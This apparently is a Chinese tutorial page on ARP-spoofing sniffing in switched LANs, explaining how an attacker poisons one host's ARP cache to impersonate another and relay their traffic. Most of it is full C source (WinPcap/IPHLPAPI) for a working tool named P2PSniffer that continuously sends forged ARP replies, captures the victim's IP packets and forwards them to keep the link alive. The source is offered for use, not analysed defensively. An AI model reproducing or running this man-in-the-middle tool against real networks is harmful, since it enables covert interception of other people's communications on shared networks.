嗅探器（sniffer）是一种刺探网络中传输数据的工具。为达到这一目的，一般的做法是设置网卡为混杂模式，这样就可以嗅探到所有经过本机网卡的数据（这种一般的sniffer原理不在此阐述）。但是这种sniffer有一个缺点，就是它只适用于共享式局域网，对于交换式局域网无效。因为在交换式局域网中，网络中的数据并不会经过每一台主机的网卡，所以对于交换式局域网，就要用另外一种更为主动的方法去嗅探，那就是基于ARP欺骗的嗅探。
我们假设有三台主机A,B,C位于同一个交换式局域网中，攻击者处于主机A，而主机B,C正在通信。现在A希望能嗅探到B->C的数据，于是A就可以伪装成C对B做ARP欺骗——向B发送伪造的ARP应答包，应答包中IP地址为C的IP地址而MAC地址为A的MAC地址。这个应答包会刷新B的ARP缓存，让B认为A就是C，说详细点，就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样，B想要发送给C的数据实际上却发送给了A，就达到了嗅探的目的。另外，由于ARP缓存是动态更新的，因此，我们要不断的向B发送伪造的ARP应答包，以防止B的ARP缓存中的IP-MAC映射关系被C改回来。（这里涉及到ARP欺骗的知识，如果对此有疑惑，请查阅相关资料。）当然，这样嗅探之后，本应接收到数据的C就不能接收到B发送过来的数据了，也就是说，B和C的通信相当于被中断了。因此，我们在嗅探到数据后，还必须将此数据转发给C，这样才能保证B,C的通信不被中断。
以上就是基于ARP欺骗的嗅探基本原理，在这种嗅探方法中，嗅探者A实际上是插入到了B->C中，B的数据先发送给了A，然后再由A转发给C，其数据传输关系如下所示：
B----->A----->C
B<------------C
当然，如果你还想嗅探到C->B的数据，还可以将A插入到C->B中，这样，就能嗅探到B,C间通信的全部数据了。
下面，还是用具体的代码来说明问题。在这个代码中，涉及到了IPHLPAPI和winpcap的编程，请查阅相关资料：
#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "wchar.h"
#include "stdio.h"
#include "Iphlpapi.h"
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"iphlpapi.lib")
#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式
#pragma pack(push, 1)
typedef struct _et_header //以太网头部
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
}ET_HEADER;
typedef struct _arp_header //ARP头部
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
}ARP_HEADER;
typedef struct _ip_header
{
char m_ver_hlen; //4位版本号,4位ip头部长
char m_tos;
USHORT m_tlen;
USHORT m_ident;
USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量
char m_ttl;
char m_protocol;
USHORT m_cksum;
ULONG m_sIP;
ULONG m_dIP;
}IP_HEADER;
typedef struct info //将被传递到监听线程的信息结构
{
LPADAPTER lpAdapter;
char simulateIP[20];
char targetIP[20];
}INFO;
#pragma pack(pop)
void usage()
{
printf("***********************************\n");
printf("* Made by ffantasyYD *\n");
printf("* QQ:76889713 *\n");
printf("* email:[email protected] *\n");
printf("***********************************\n");
printf("This program have 2 param: P2PSniffer targetIP simulateIP\n");
}
void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a':high=10;
break;
case 'b':high=11;
break;
case 'c':high=12;
break;
case 'd':high=13;
break;
case 'e':high=14;
break;
case 'f':high=15;
break;
default:temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a':low=10;
break;
case 'b':low=11;
break;
case 'c':low=12;
break;
case 'd':low=13;
break;
case 'e':low=14;
break;
case 'f':low=15;
break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}
void getLocalMac(char *localMac,char *localIP) //获取本机MAC地址
{
ULONG numOfAdapter=0;
char mac[5][20]={0},IP[5][20]={0};
GetAdaptersInfo(NULL,&numOfAdapter); //取得网卡信息
if(numOfAdapter!=0)
{
IP_ADAPTER_INFO *pAdapterInfo=(IP_ADAPTER_INFO *)malloc( numOfAdapter*sizeof(IP_ADAPTER_INFO) );
memset( pAdapterInfo,0,numOfAdapter*sizeof(IP_ADAPTER_INFO) );
GetAdaptersInfo(pAdapterInfo,&numOfAdapter);
printf("Please select the local mac!\n");
for(int i=0;( (i<5) && (pAdapterInfo!=NULL) );i++)
{
sprintf(mac[i],"%02x%02x%02x%02x%02x%02x",pAdapterInfo->Address[0],pAdapterInfo->Address[1],pAdapterInfo->Address[2],
pAdapterInfo->Address[3],pAdapterInfo->Address[4],pAdapterInfo->Address[5]);
memcpy( IP[i],pAdapterInfo->IpAddressList.IpAddress.String,strlen(pAdapterInfo->IpAddressList.IpAddress.String) );
printf("%d, %s--%s\n",i+1,IP[i],mac[i]);
pAdapterInfo=pAdapterInfo->Next;
}
}
int index=0;
scanf("%d",&index);
memcpy(localMac,mac[index-1],strlen(mac[index-1]));
memcpy(localIP,IP[index-1],strlen(IP[index-1]));
return;
}
bool getRemoteMac(char *remoteMac,char *remoteIP) //获取远程主机MAC地址
{
WSADATA wsaData;
ULONG remoteAddr=0,macAddrLen=6;
char remoteMacTemp[6]={0};
if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
{
printf("WSAStartup error!\n");
return FALSE;
}
remoteAddr=inet_addr(remoteIP);
if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
{
printf("Get remote MAC failed!\n");
return FALSE;
}
memcpy(remoteMac,remoteMacTemp,6);
/*
for(int i=0; i<6; i++ )
{
printf( "%.2x", remoteMac[i] );
}
printf("\n");
*/
return TRUE;
}
void assay(LPADAPTER lpAdapter,LPPACKET lpPacket,char *targetIP,char *simulateIP) //分析接收到数据包
{
char *buf;
bpf_hdr *lpBpfhdr;
ET_HEADER *lpEthdr;
in_addr addr={0};
buf=(char *)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)buf;
lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);
if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包
{
IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));
char source_ip[20]={0},dest_ip[20]={0};
addr.S_un.S_addr=lpIphdr->m_sIP;
memcpy(source_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));
memset(&addr,0,sizeof(in_addr));
addr.S_un.S_addr=lpIphdr->m_dIP;
memcpy(dest_ip,inet_ntoa(addr),strlen(inet_ntoa(addr)));
if( ( strcmp ( source_ip , targetIP ) == 0 ) && ( strcmp ( dest_ip , simulateIP ) == 0 ) )
{
printf("There is a IP packet from %s to %s !\n",targetIP,simulateIP);
//以下是将嗅探到的包发送到真正的目的地：
char mac[6]={0};
LPPACKET lpSendPacket=NULL;
char sendBuf[512]={0};
getRemoteMac(mac,simulateIP);
memcpy(lpEthdr->eh_dst,mac,6);
memcpy(sendBuf,lpEthdr,sizeof(ET_HEADER));
memcpy(sendBuf+sizeof(ET_HEADER),lpIphdr,ntohs(lpIphdr->m_tlen));
lpSendPacket=PacketAllocatePacket();
PacketInitPacket(lpSendPacket,sendBuf,512);
PacketSetNumWrites(lpAdapter,2);
PacketSendPacket(lpAdapter,lpSendPacket,TRUE);
PacketFreePacket(lpSendPacket); //释放PACKET结构指针
}
}
}
DWORD WINAPI Listen(void *param) //监听线程
{
LPADAPTER lpAdapter;
INFO *pInfo=(INFO *)param;
LPPACKET lpPacket;
char buf[512]={0};
lpAdapter=pInfo->lpAdapter;
//printf("%s,%s\n",pInfo->near_ip,pInfo->far_ip);
PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式
PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小
PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间
while(1)
{
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,buf,512); //初始化PACKET结构指针
PacketReceivePacket(lpAdapter, lpPacket, TRUE); //接收数据包
assay(lpAdapter,lpPacket,pInfo->targetIP,pInfo->simulateIP); //分析数据包
//每次收包后重置lpPacket：
PacketFreePacket(lpPacket);
memset(buf,0,512);
}
PacketFreePacket(lpPacket); //释放lpPacket
return 1;
}
int main(int argc, char* argv[])
{
char s_mac[6]={0};
LPADAPTER lpAdapter;
LPPACKET lpPacket;
ET_HEADER et_header;
ARP_HEADER arp_header;
static CHAR adapter_list[10][1024];
WCHAR adapter_name[2048];
WCHAR *name1,*name2;
ULONG adapter_length=1024;
ULONG i,adapter_num=0;
char buffer[512]={0};
INFO param={0};
usage();
if(argc!=3)
{
return -1;
}
//获取MAC地址：
char localMac[20]={0},localIP[20]={0};
getLocalMac(localMac,localIP);
char remoteMac[6]={0};
if(getRemoteMac(remoteMac,argv[1])==FALSE)
{
return -1;
}
//打开适配器：
//取得所有适配器的名字.
if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
{
//adapter_name:一个用于存放适配器的名字的缓冲区。一个适配器名字的每一个字符
//之间由一个'\0'隔开，两个适配器名字之间用两个'\0'隔开，连续遇到超过两个的
//'\0'就认为适配器名字已取完。
//adapter_length:这个缓冲区的大小
printf("PacketGetAdapterNames error:%d\n",GetLastError());
return -1;
}
name1=adapter_name;
name2=adapter_name;
i = 0;
//把adapter_name中的适配器名字，分别copy到adapter_list[]中，i从0开始为第一个
while((*name1!='\0') || (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
//默认打开第一块适配器
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable to open the driver, Error Code : %lx\n", GetLastError());
return -1;
}
//启动监听线程：
param.lpAdapter=lpAdapter;
memcpy(param.targetIP,argv[1],strlen(argv[1]));
memcpy(param.simulateIP,argv[2],strlen(argv[2]));
CreateThread(NULL,0,Listen,¶m,0,NULL);
//伪造ARP应答包：
StrToMac(localMac,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
memcpy(et_header.eh_dst,remoteMac,6);
et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包
arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议
arp_header.arp_hln=6; //硬件地址长度为6
arp_header.arp_pln=4; //协议地址长度为4
arp_header.arp_opt=htons(0x0002); //标识为ARP应答
arp_header.arp_spa=inet_addr(argv[2]); //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(argv[1]); //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
//发送伪造地ARP应答包：
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,buffer,512); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数
{
printf("warning: Unable to send more than one packet in a single write!\n");
}
printf("Start.............\n");
while(1)
{
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的
{
printf("Error sending the packets!\n");
break;
}
Sleep(2000);
}
PacketFreePacket(lpPacket); //释放PACKET结构指针
Sleep(5000);
PacketCloseAdapter(lpAdapter); //关闭适配器
return 0;
}
以上就是这种嗅探的基本实现。当然，要对交换式局域网中的数据进行嗅探还有很多种方法，比如，可以用ARP欺骗去欺骗交换机等。总之，方法有很多，只有想不到，没有做不到。
本文地址：http://com.8s8s.com/it/it61.htm